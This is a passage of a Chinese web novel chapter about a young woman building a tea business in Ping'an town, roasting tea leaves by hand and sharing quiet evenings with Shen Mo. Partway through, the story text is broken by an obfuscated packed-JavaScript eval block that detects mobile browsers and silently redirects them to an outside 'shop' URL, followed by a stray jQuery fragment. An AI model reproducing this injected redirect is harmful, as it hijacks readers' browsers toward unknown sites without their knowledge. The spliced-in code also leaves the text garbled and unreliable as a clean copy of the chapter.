乔知栀端起茶杯喝了一口,笑了笑。
“周叔,我是真心想把平安镇的茶做起来。钱的事,好说;人心的事,不好办。先让他们尝到甜头,后面就好办了。”
周老头捋着胡须,点了点头。
“还是那句话,你有这份心,老夫就帮你撑腰。”
乔知栀看了他一眼,心里暖了一下,没说什么,抱着小白出了茶室。
回到家,天已经快黑了。
沈墨正在作坊里忙活,老李和小孙已经回去了,周大勇也不在,只有他一个人蹲在纺纱机旁边调试齿轮。
月白色的衣袍上沾满了木屑,手上全是机油,凿子一下一下地敲在齿轮上,声音沉闷。
小白从乔知栀怀里挣下去,摇摇晃晃地跑到沈墨脚边,一头扎在他小腿上,“唧唧唧”地叫。
沈墨没抬头,手上的凿子也没停。
乔知栀走过去,在他旁边蹲下来,也不说话,就那么蹲着。
沈墨凿了好一会儿,才停下手,侧过头看了她一眼。
“回来了?”
“嗯。”乔知栀把脑袋靠在他肩膀上,“今天把六家的样品都定了,每家出十斤青叶,三天后在周叔的炒茶坊统一炒制。”
沈墨把凿子放下,拍了拍手上的木屑,看着她。
“你给他们钱了?”
乔知栀心虚地缩了缩脖子。“你怎么知道?”
“周大勇说的,他去镇上买东西,看见你在茶园门口发银票。”
沈墨的语气淡淡的,听不出什么情绪。
乔知栀咬了咬嘴唇,老实交代。
“每家按市价的两倍付了定金,卖得好分成,卖得不好我兜底。”
沈墨沉默了一会儿,伸手揉了揉她的脑袋。
“胆子不小。”
乔知栀仰起脸看着他,眼睛亮晶晶的。
“不胆子大点,怎么干成事?”
沈墨嘴角弯了弯,没说话,站起来,走到灶台边,从锅里端出一碗还温着的红烧肉,又盛了两碗米饭,摆在石桌上。
“吃饭。”
乔知栀饿了一整天,看见红烧肉眼睛都绿了,坐下来埋头就吃。
小白蹲在桌边,急得直叫。乔知栀夹了一块肉,吹了吹,放在手心里喂给它。
小白一口叼住,嚼了两下,“唧唧唧”地叫起来,高兴得直打滚。
吃完饭,天已经黑透了。
乔知栀洗了澡,窝在软榻上,把白天写的那个将军与采茶女的故事又拿出来看了一遍,越看越满意。
虽说纯属瞎编,但胜在情真意切。
将军保家卫国,采茶女痴心等待,最后将军战死沙场,采茶女茶园殉情。
这故事要是传出去,平安青的身价至少翻三倍。
她翻来覆去地看了好几遍,又把几个措辞改了改,终于满意了,把纸折好收进小木盒里。
沈墨洗完澡进来,看见她趴在软榻上,嘴角翘得老高,走过来在她旁边坐下。
“笑什么?”
“笑我写的故事。”乔知栀翻了个身,仰面躺着,把双手枕在脑后,“沈墨,你说平安青要是卖火了,平安镇的茶农是不是就能过上好日子了?”
沈墨想了想,点了点头。
“会。”
“那我是不是也算做了件大好事?”
“算。”
乔知栀笑了,笑得眼睛弯弯的,翻过身来,把脸埋进他怀里,闷闷地说了一句。
“那我就放心了。”
沈墨没说话,伸手揽住她的肩膀,把她往怀里拢了拢。
小白趴在软榻的另一头,翻了个身,四脚朝天,露出毛茸茸的肚皮,月光照在上面,白白的,软软的,一起一伏的。
“唧。”
它叫了一声,翻了个身,把脸埋进爪子里,继续睡。
月亮从窗户缝里漏进来,落在地板上,白晃晃的一片。
三天的时间,说长不长,说短不短。
乔知栀每天天不亮就起来,去周老头的炒茶坊盯着。
青叶送来了,她要一片一片地检查,不合格的挑出来退回去。
六个茶农的第一批青叶,每家十斤,她退了刘家两斤,老梗多了,碎叶多了。
刘家管事二话没说,重新采了送来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581216|205117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周老头在旁边看着,忍不住感慨了一句。
“丫头,你这个人,做事太认真了。”
乔知栀头也没抬,继续检查青叶。
“周叔,茶叶这东西,差一点都不行。客人花银子买茶,喝的是品质。你给人家喝了一回好茶,人家记你一辈子;你给人家喝了一回次茶,人家骂你一辈子。”
周老头捋了捋胡须,点了点头,没再说什么。
第三天,青叶全部到位。
乔知栀系上围裙,站在炒锅前面,灶膛里的火烧得正旺。
她把手掌悬在锅上方,试了试温度,等了一会儿,又试了一次,直到觉得温度合适了,才从竹篓里抓了一把青叶,撒进锅里。
手掌贴上去,开始翻炒。
她的手很白很细,在滚烫的铁锅里翻飞。
茶叶在她手心里翻滚,青草气一点点散去,茶香一点点出来。
她不光用手掌炒,她还用手背、用手指,不同的部位翻炒出不同的效果。
周老头站在旁边看着,眼睛一眨不眨。
一锅炒完,又一锅。
六家的青叶,六十斤,她一个人炒了整整一天。
从清晨炒到傍晚,中间只歇了两回,喝了几口水,连午饭都是在炒锅旁边吃的。
周老头傍晚来收茶的时候,看见她靠在炒锅旁边,脸被灶火烤得通红,汗水把头发都浸湿了,一缕一缕地贴在脸上,手上全是红印子,有的地方起了水泡。
但他看了一眼她炒出来的茶叶,就什么话都说不出来了。
六十斤青叶,炒出来十二斤干茶。
条形紧结,色泽翠绿,香气清幽,汤色透亮。
他把茶叶捧在手心里闻了闻,抬起头看着乔知栀,眼眶有点红。
“丫头,这茶叶吵得太漂亮了,老头子炒了这么多年,还没见过这么好看的茶叶。”
乔知栀笑了笑,擦了擦额头的汗。
“周叔,你别笑话我了。”
“老头子我说的是真的,这茶都不要凑跟前闻,就香气扑鼻,这要是卖去京城,肯定能卖上好价钱。”周老头低呼。
乔知栀点了点头:“但愿。”